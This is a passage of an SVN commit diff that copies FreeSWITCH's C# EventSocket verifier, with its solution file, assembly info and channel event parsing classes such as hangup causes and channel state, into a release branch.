Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Properties/AssemblyInfo.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Properties/AssemblyInfo.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Properties/AssemblyInfo.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Properties/AssemblyInfo.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.Test/Properties/AssemblyInfo.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following 
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("FreeSwitch.EventSocket.Test")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("FreeSwitch.EventSocket.Test")]
+[assembly: AssemblyCopyright("Copyright ©  2007")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible 
+// to COM components.  If you need to access a type in this assembly from 
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("b496f9be-f1be-457d-b8c8-fae97c43df8e")]
+
+// Version information for an assembly consists of the following four values:
+//
+//      Major Version
+//      Minor Version 
+//      Build Number
+//      Revision
+//
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.sln

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.sln (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.sln) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.sln	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitch.EventSocket.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FreeSwitch.EventSocket", "FreeSwitchEventSocket\FreeSwitch.EventSocket.csproj", "{3F8895F6-F710-4323-B96A-4EFB6BC97E08}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FreeSwitch.EventSocket.Test", "FreeSwitch.EventSocket.Test\FreeSwitch.EventSocket.Test.csproj", "{3679225D-79A3-4B6C-BCA1-E2DC265E423A}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EventWatcher", "EventWatcher\EventWatcher.csproj", "{E65ABA5F-A578-4E3C-989D-0FE4E459C03D}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "IvrSocket", "IvrSocket\IvrSocket.csproj", "{22F26D13-0A0E-4345-9FEC-CE13FC8F37FD}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{3F8895F6-F710-4323-B96A-4EFB6BC97E08}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{3F8895F6-F710-4323-B96A-4EFB6BC97E08}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{3F8895F6-F710-4323-B96A-4EFB6BC97E08}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{3F8895F6-F710-4323-B96A-4EFB6BC97E08}.Release|Any CPU.Build.0 = Release|Any CPU
+		{3679225D-79A3-4B6C-BCA1-E2DC265E423A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{3679225D-79A3-4B6C-BCA1-E2DC265E423A}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{3679225D-79A3-4B6C-BCA1-E2DC265E423A}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{3679225D-79A3-4B6C-BCA1-E2DC265E423A}.Release|Any CPU.Build.0 = Release|Any CPU
+		{E65ABA5F-A578-4E3C-989D-0FE4E459C03D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{E65ABA5F-A578-4E3C-989D-0FE4E459C03D}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{E65ABA5F-A578-4E3C-989D-0FE4E459C03D}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{E65ABA5F-A578-4E3C-989D-0FE4E459C03D}.Release|Any CPU.Build.0 = Release|Any CPU
+		{22F26D13-0A0E-4345-9FEC-CE13FC8F37FD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{22F26D13-0A0E-4345-9FEC-CE13FC8F37FD}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{22F26D13-0A0E-4345-9FEC-CE13FC8F37FD}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{22F26D13-0A0E-4345-9FEC-CE13FC8F37FD}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket)

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/ChannelEvent.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/ChannelEvent.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/ChannelEvent.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/ChannelEvent.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/ChannelEvent.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,69 @@
+namespace FreeSwitch.EventSocket
+{
+    public class ChannelEvent : EventBase
+    {
+        private ChannelInfo _channelInfo;
+        private string _uniqueId = string.Empty;
+        private string _answerState;
+        private string _callDirection;
+
+        public override bool IsChannelEvent
+        {
+            get { return true; }
+        }
+
+        /// <summary>
+        /// Information about the used channel and it's state.
+        /// </summary>
+        public ChannelInfo ChannelInfo
+        {
+            get { return _channelInfo; }
+            set { _channelInfo = value; }
+        }
+
+        public string UniqueId
+        {
+            get { return _uniqueId; }
+            set { _uniqueId = value; }
+        }
+
+        public string AnswerState
+        {
+            get { return _answerState; }
+            set { _answerState = value; }
+        }
+
+        public string CallDirection
+        {
+            get { return _callDirection; }
+            set { _callDirection = value; }
+        }
+
+        public override bool ParseCommand(string name, string value)
+        {
+            if (name == "unique-id")
+                _uniqueId = value;
+            else if (name == "answer-state")
+                _answerState = value;
+            else if (name == "call-direction")
+                _callDirection = value;
+            else if (name.Length > 8 && name.Substring(0, 8) ==  "channel-")
+            {
+                if (_channelInfo == null)
+                    _channelInfo = new ChannelInfo();
+                return _channelInfo.Parse(name, value);
+            }
+            else
+                return base.ParseCommand(name, value);
+
+            return true;
+        }
+
+        public override string ToString()
+        {
+            return
+                "ChannelEvent(" + _uniqueId + " [" + _callDirection + "] " + _answerState +
+                ", channelInfo{" + _channelInfo + "})";
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelAnswer.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelAnswer.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelAnswer.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelAnswer.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelAnswer.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelAnswer : EventChannelState
+    {
+        public override string ToString()
+        {
+            return "ChannelAnswer." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelApplication.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelApplication.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelApplication.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelApplication.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelApplication.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelApplication : EventChannelState
+    {
+        public override string ToString()
+        {
+            return "ChannelApplication." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelBridge.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelBridge.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelBridge.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelBridge.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelBridge.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelBridge : EventChannelState
+    {
+        public override string ToString()
+        {
+            return "ChannelBridge." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelCreate.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelCreate.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelCreate.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelCreate.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelCreate.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelCreate : ChannelEvent
+    {
+        public override string ToString()
+        {
+            return "ChannelCreate." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelDestroy.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelDestroy.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelDestroy.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelDestroy.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelDestroy.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelDestroy : EventChannelState
+    {
+        public override string ToString()
+        {
+            return "ChannelDestroy." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelExecute.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelExecute.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelExecute.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelExecute.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelExecute.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelExecute : EventChannelState
+    {
+        private string _appName;
+        private string _arguments;
+
+        public string AppName
+        {
+            get { return _appName; }
+            set { _appName = value; }
+        }
+
+        public string Arguments
+        {
+            get { return _arguments; }
+            set { _arguments = value; }
+        }
+
+        public override bool ParseCommand(string name, string value)
+        {
+            if (name == "application")
+                AppName = value;
+            else if (name == "application-data")
+                Arguments = value;
+            else
+                return base.ParseCommand(name, value);
+
+            return true;
+        }
+
+        public override string ToString()
+        {
+            return "EventChannelExecute(" + _appName + ", '" + _arguments + "')." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelExecuteComplete.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelExecuteComplete.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelExecuteComplete.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelExecuteComplete.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelExecuteComplete.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelExecuteComplete : EventChannelState
+    {
+        private string _appName;
+        private string _arguments;
+
+        public string AppName
+        {
+            get { return _appName; }
+            set { _appName = value; }
+        }
+
+        public string Arguments
+        {
+            get { return _arguments; }
+            set { _arguments = value; }
+        }
+
+        public override bool ParseCommand(string name, string value)
+        {
+            if (name == "application")
+                AppName = value;
+            else if (name == "application-data")
+                Arguments = value;
+            else
+                return base.ParseCommand(name, value);
+
+            return true;
+        }
+
+        public override string ToString()
+        {
+            return "ExecuteComplete(" + _appName + ", '" + _arguments + "')." + base.ToString();
+        }
+    }
+}
+

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelHangup.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelHangup.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelHangup.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelHangup.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelHangup.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,104 @@
+using System;
+
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelHangup : EventChannelState
+    {
+        private HangupCause _hangupCause;
+
+
+        public HangupCause Cause
+        {
+            get { return _hangupCause; }
+            set { _hangupCause = value; }
+        }
+
+        public override bool ParseCommand(string name, string value)
+        {
+            if (name == "hangupcause" || name == "hangup-cause")
+            {
+                string cause = StringHelper.UpperCaseToCamelCase(value);
+                try
+                {
+                    _hangupCause = (HangupCause)Enum.Parse(typeof(HangupCause), cause, true);
+                }
+                catch(ArgumentException)
+                {
+                    _hangupCause = HangupCause.Unknown;
+                }
+            }
+            else 
+                return base.ParseCommand(name, value);
+
+            return true;
+        }
+
+        public override string ToString()
+        {
+            return "ChannelHangup(" + _hangupCause + ")." + base.ToString();
+        }
+    }
+
+    public enum HangupCause
+    {
+        Success,
+        NoRouteTransitNet,
+        NoRouteDestination,
+        ChannelUnacceptable,
+        CallAwardedDelivered,
+        NormalClearing,
+        UserBusy,
+        NoUserResponse,
+        NoAnswer,
+        SubscriberAbsent,
+        CallRejected,
+        NumberChanged,
+        RedirectionToNewDestination,
+        ExchangeRoutingError,
+        DestinationOutOfOrder,
+        InvalidNumberFormat,
+        FacilityRejected,
+        ResponseToStatusEnquiry,
+        NormalUnspecified,
+        NormalCircuitCongestion,
+        NetworkOutOfOrder,
+        NormalTemporaryFailure,
+        SwitchCongestion,
+        AccessInfoDiscarded,
+        RequestedChanUnavail,
+        PreEmpted,
+        FacilityNotSubscribed,
+        OutgoingCallBarred,
+        IncomingCallBarred,
+        BearercapabilityNotauth,
+        BearercapabilityNotavail,
+        ServiceUnavailable,
+        ChanNotImplemented,
+        FacilityNotImplemented,
+        ServiceNotImplemented,
+        InvalidCallReference,
+        IncompatibleDestination,
+        InvalidMsgUnspecified,
+        MandatoryIeMissing,
+        MessageTypeNonexist,
+        WrongMessage,
+        IeNonexist,
+        InvalidIeContents,
+        WrongCallState,
+        RecoveryOnTimerExpire,
+        MandatoryIeLengthError,
+        ProtocolError,
+        Interworking,
+        OriginatorCancel,
+        Crash,
+        SystemShutdown,
+        LoseRace,
+        ManagerRequest,
+        BlindTransfer,
+        AttendedTransfer,
+        AllottedTimeout,
+        UnAllocated,
+        Unknown
+    }
+
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelOriginate.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelOriginate.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelOriginate.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelOriginate.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelOriginate.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelOriginate : ChannelEvent
+    {
+        public override string ToString()
+        {
+            return "ChannelOriginate." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelOutgoing.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelOutgoing.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelOutgoing.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelOutgoing.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelOutgoing.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelOutgoing : EventChannelState
+    {
+        public override string ToString()
+        {
+            return "ChannelOutgoing." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelPark.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelPark.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelPark.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelPark.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelPark.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelPark : EventChannelState
+    {
+        public override string ToString()
+        {
+            return "ChannelPark." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelProgress.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelProgress.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelProgress.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelProgress.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelProgress.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelProgress : EventChannelState
+    {
+        public override string ToString()
+        {
+            return "ChannelProgress" + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelState.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelState.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelState.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelState.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelState.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,98 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelState : ChannelEvent
+    {
+        private const string Yes = "yes";
+        private const string CallerTag = "caller-";
+        private const string OriginatorTag = "originator-";
+        private const string OriginateeTag = "originatee-";
+        private const string OtherLegTag = "other-leg-";
+        private const string ScreenBitTag = "screen-bit";
+        private PartyInfo _caller = PartyInfo.Empty;
+        private PartyInfo _originator = PartyInfo.Empty;
+        private PartyInfo _otherLeg = PartyInfo.Empty;
+        private bool _screenBit = false;
+
+        /// <summary>
+        /// Information about the called party.
+        /// This property is null for certain channel states,
+        /// depending on if freeswitch sends it or not.
+        /// </summary>
+        public PartyInfo Caller
+        {
+            get { return _caller; }
+            set { _caller = value; }
+        }
+
+        /// <summary>
+        /// Information about the destination (place that the caller want to reach).
+        /// This property is null for certain channel states,
+        /// depending on if freeswitch sends it or not.
+        /// </summary>
+        public PartyInfo Originator
+        {
+            get { return _originator; }
+            set { _originator = value; }
+        }
+
+        public bool ScreenBit
+        {
+            get { return _screenBit; }
+            set { _screenBit = value; }
+        }
+
+        /// <summary>
+        /// Other leg of call.
+        /// </summary>
+        public PartyInfo OtherLeg
+        {
+            get { return _otherLeg; }
+            set { _otherLeg = value; }
+        }
+
+        public override bool ParseCommand(string name, string value)
+        {
+            if (name == ScreenBitTag)
+            {
+                ScreenBit = value == Yes;
+                return true;
+            }
+            else if (name.Length > 11 && name.Substring(0, 11) == OriginatorTag
+                     || name.Length > 11 && name.Substring(0, 11) == OriginateeTag)
+            {
+                if (_originator == PartyInfo.Empty)
+                    _originator = new PartyInfo();
+
+                return _originator.Parse(name.Substring(11), value);
+            }
+            else if (name.Length > 7 && name.Substring(0, 7) == CallerTag)
+            {
+                if (_caller == PartyInfo.Empty)
+                    _caller = new PartyInfo();
+
+                return _caller.Parse(name.Substring(7), value);
+            }
+            else if (name.Length > 10 && name.Substring(0, 10) == OtherLegTag)
+            {
+                if (_otherLeg == PartyInfo.Empty)
+                    _otherLeg = new PartyInfo();
+
+                return _otherLeg.Parse(name.Substring(10), value);
+            }
+            else
+                return base.ParseCommand(name, value);
+        }
+
+        public override string ToString()
+        {
+            string temp = "ChannelState(";
+            if (Caller != PartyInfo.Empty)
+                temp += " Caller{" + Caller + "}";
+            if (Originator != PartyInfo.Empty)
+                temp += " Originator{" + Originator + "}";
+            if (OtherLeg != PartyInfo.Empty)
+                temp += " OtherLeg{" + OtherLeg + "}";
+            return temp + ")." + base.ToString();
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelUnbridge.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelUnbridge.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelUnbridge.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelUnbridge.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelUnbridge.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelUnbridge : EventChannelState
+    {
+        public override string ToString()
+        {
+            return "ChannelUnbridge." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelUnpark.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelUnpark.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelUnpark.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelUnpark.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventChannelUnpark.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventChannelUnpark : EventChannelState
+    {
+        public override string ToString()
+        {
+            return "ChannelUnpark." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventCodec.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventCodec.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventCodec.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventCodec.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventCodec.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventCodec : EventChannelState
+    {
+        public override string ToString()
+        {
+            return "Codec." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventDtmf.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventDtmf.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventDtmf.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventDtmf.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/ChannelEvents/EventDtmf.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,40 @@
+namespace FreeSwitch.EventSocket
+{
